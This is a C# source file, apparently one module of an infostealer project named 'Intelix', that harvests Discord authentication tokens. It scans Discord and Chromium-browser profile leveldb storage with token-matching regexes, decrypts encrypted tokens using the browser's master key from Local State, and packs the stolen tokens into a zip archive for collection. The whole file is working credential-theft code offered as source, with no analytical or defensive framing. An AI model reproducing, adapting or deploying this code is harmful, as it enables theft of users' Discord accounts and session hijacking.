164 lines
4.7 KiB
C#
164 lines
4.7 KiB
C#
using System;
|
|||
|
|
using System.Collections.Concurrent;
|
||
|
|
using System.Collections.Generic;
|
||
|
|
using System.IO;
|
||
|
|
using System.Linq;
|
||
|
|
using System.Text;
|
||
|
|
using System.Text.RegularExpressions;
|
||
|
|
using System.Threading.Tasks;
|
||
|
|
using Intelix.Helper.Data;
|
||
|
|
using Intelix.Helper.Encrypted;
|
||
|
|
|
||
|
|
namespace Intelix.Targets.Messangers;
|
||
|
|
|
||
|
|
public class Discord : ITarget
|
||
|
|
{
|
||
|
|
private static readonly Regex _tokenRegex = new Regex("(mfa\\.[\\w-]{80,})|((MT|OD)[\\w-]{22,24}\\.[\\w-]{6}\\.[\\w-]{25,110})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||
|
|
|
||
|
|
private static readonly Regex _encryptedRegex = new Regex("\"dQw4w9WgXcQ:([^\"]+)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||
|
|
|
||
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
||
|
|
{
|
||
|
|
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||
|
|
counterApplications.Name = "Discord";
|
||
|
|
counterApplications.Files.Add("Discord\\");
|
||
|
|
Task task = Task.Run(delegate
|
||
|
|
{
|
||
|
|
Parallel.ForEach(Paths.Discord, delegate(string path)
|
||
|
|
{
|
||
|
|
string text = path + "\\Local Storage\\leveldb";
|
||
|
|
if (Directory.Exists(text))
|
||
|
|
{
|
||
|
|
string localstate = path + "\\Local State";
|
||
|
|
List<string> list = TokensGrabber(text, localstate);
|
||
|
|
if (list.Any())
|
||
|
|
{
|
||
|
|
string browserName = Paths.GetBrowserName(path);
|
||
|
|
string text2 = "Discord\\" + browserName + ".txt";
|
||
|
|
counterApplications.Files.Add(path + " => " + text2);
|
||
|
|
zip.AddTextFile(text2, string.Join("\n", list));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
});
|
||
|
|
});
|
||
|
|
Task task2 = Task.Run(delegate
|
||
|
|
{
|
||
|
|
Parallel.ForEach(Paths.Chromium, delegate(string path)
|
||
|
|
{
|
||
|
|
if (Directory.Exists(path))
|
||
|
|
{
|
||
|
|
Parallel.ForEach(Directory.GetDirectories(path), delegate(string profile)
|
||
|
|
{
|
||
|
|
string text = profile + "\\Local Storage\\leveldb";
|
||
|
|
if (Directory.Exists(text))
|
||
|
|
{
|
||
|
|
string localstate = path + "\\Local State";
|
||
|
|
List<string> list = TokensGrabber(text, localstate);
|
||
|
|
if (list.Any())
|
||
|
|
{
|
||
|
|
string browserName = Paths.GetBrowserName(path);
|
||
|
|
string text2 = "Discord\\" + browserName + " " + Path.GetFileName(profile) + ".txt";
|
||
|
|
counterApplications.Files.Add(path + " => " + text2);
|
||
|
|
zip.AddTextFile(text2, string.Join("\n", list));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
});
|
||
|
|
}
|
||
|
|
});
|
||
|
|
});
|
||
|
|
Task.WaitAll(task, task2);
|
||
|
|
if (counterApplications.Files.Count() > 0)
|
||
|
|
{
|
||
|
|
counter.Messangers.Add(counterApplications);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private List<string> TokensGrabber(string localstorage, string localstate)
|
||
|
|
{
|
||
|
|
List<string> source = SearchFiles(localstorage);
|
||
|
|
ConcurrentBag<string> tokens = new ConcurrentBag<string>();
|
||
|
|
ConcurrentBag<string> tokensEncrypted = new ConcurrentBag<string>();
|
||
|
|
Parallel.ForEach(source, delegate(string localdb)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string content = File.ReadAllText(localdb);
|
||
|
|
Parallel.ForEach(SearchToken(content), delegate(string token)
|
||
|
|
{
|
||
|
|
tokens.Add(token);
|
||
|
|
});
|
||
|
|
Parallel.ForEach(SearchEncryptedTokens(content), delegate(string token)
|
||
|
|
{
|
||
|
|
tokensEncrypted.Add(token);
|
||
|
|
});
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
});
|
||
|
|
ConcurrentBag<string> distinctTokens = new ConcurrentBag<string>(tokens.Distinct());
|
||
|
|
if (!tokensEncrypted.Any())
|
||
|
|
{
|
||
|
|
return distinctTokens.Distinct().ToList();
|
||
|
|
}
|
||
|
|
byte[] key = LocalState.MasterKeyV10(localstate);
|
||
|
|
if (key == null)
|
||
|
|
{
|
||
|
|
return distinctTokens.Distinct().ToList();
|
||
|
|
}
|
||
|
|
Parallel.ForEach(tokensEncrypted.Distinct(), delegate(string encrypted)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
byte[] array = AesGcm.DecryptBrowser(Convert.FromBase64String(encrypted), key, null, checkprefix: false);
|
||
|
|
if (array != null)
|
||
|
|
{
|
||
|
|
distinctTokens.Add(Encoding.UTF8.GetString(array).Trim());
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
});
|
||
|
|
return distinctTokens.Distinct().ToList();
|
||
|
|
}
|
||
|
|
|
||
|
|
private List<string> SearchFiles(string path)
|
||
|
|
{
|
||
|
|
ConcurrentBag<string> locals = new ConcurrentBag<string>();
|
||
|
|
string[] allowedExtensions = new string[3] { ".log", ".ldb", ".sqlite" };
|
||
|
|
Parallel.ForEach(Directory.GetFiles(path), delegate(string file)
|
||
|
|
{
|
||
|
|
if (allowedExtensions.Contains(Path.GetExtension(file)))
|
||
|
|
{
|
||
|
|
locals.Add(file);
|
||
|
|
}
|
||
|
|
});
|
||
|
|
return locals.ToList();
|
||
|
|
}
|
||
|
|
|
||
|
|
private List<string> ExtractMatches(string content, Regex regex)
|
||
|
|
{
|
||
|
|
HashSet<string> hashSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||
|
|
foreach (Match item in regex.Matches(content))
|
||
|
|
{
|
||
|
|
string value = item.Groups[1].Value;
|
||
|
|
if (!string.IsNullOrWhiteSpace(value))
|
||
|
|
{
|
||
|
|
hashSet.Add(value);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return hashSet.ToList();
|
||
|
|
}
|
||
|
|
|
||
|
|
private List<string> SearchToken(string content)
|
||
|
|
{
|
||
|
|
return ExtractMatches(content, _tokenRegex);
|
||
|
|
}
|
||
|
|
|
||
|
|
private List<string> SearchEncryptedTokens(string content)
|
||
|
|
{
|
||
|
|
return ExtractMatches(content, _encryptedRegex);
|
||
|
|
}
|
||
|
|
}
|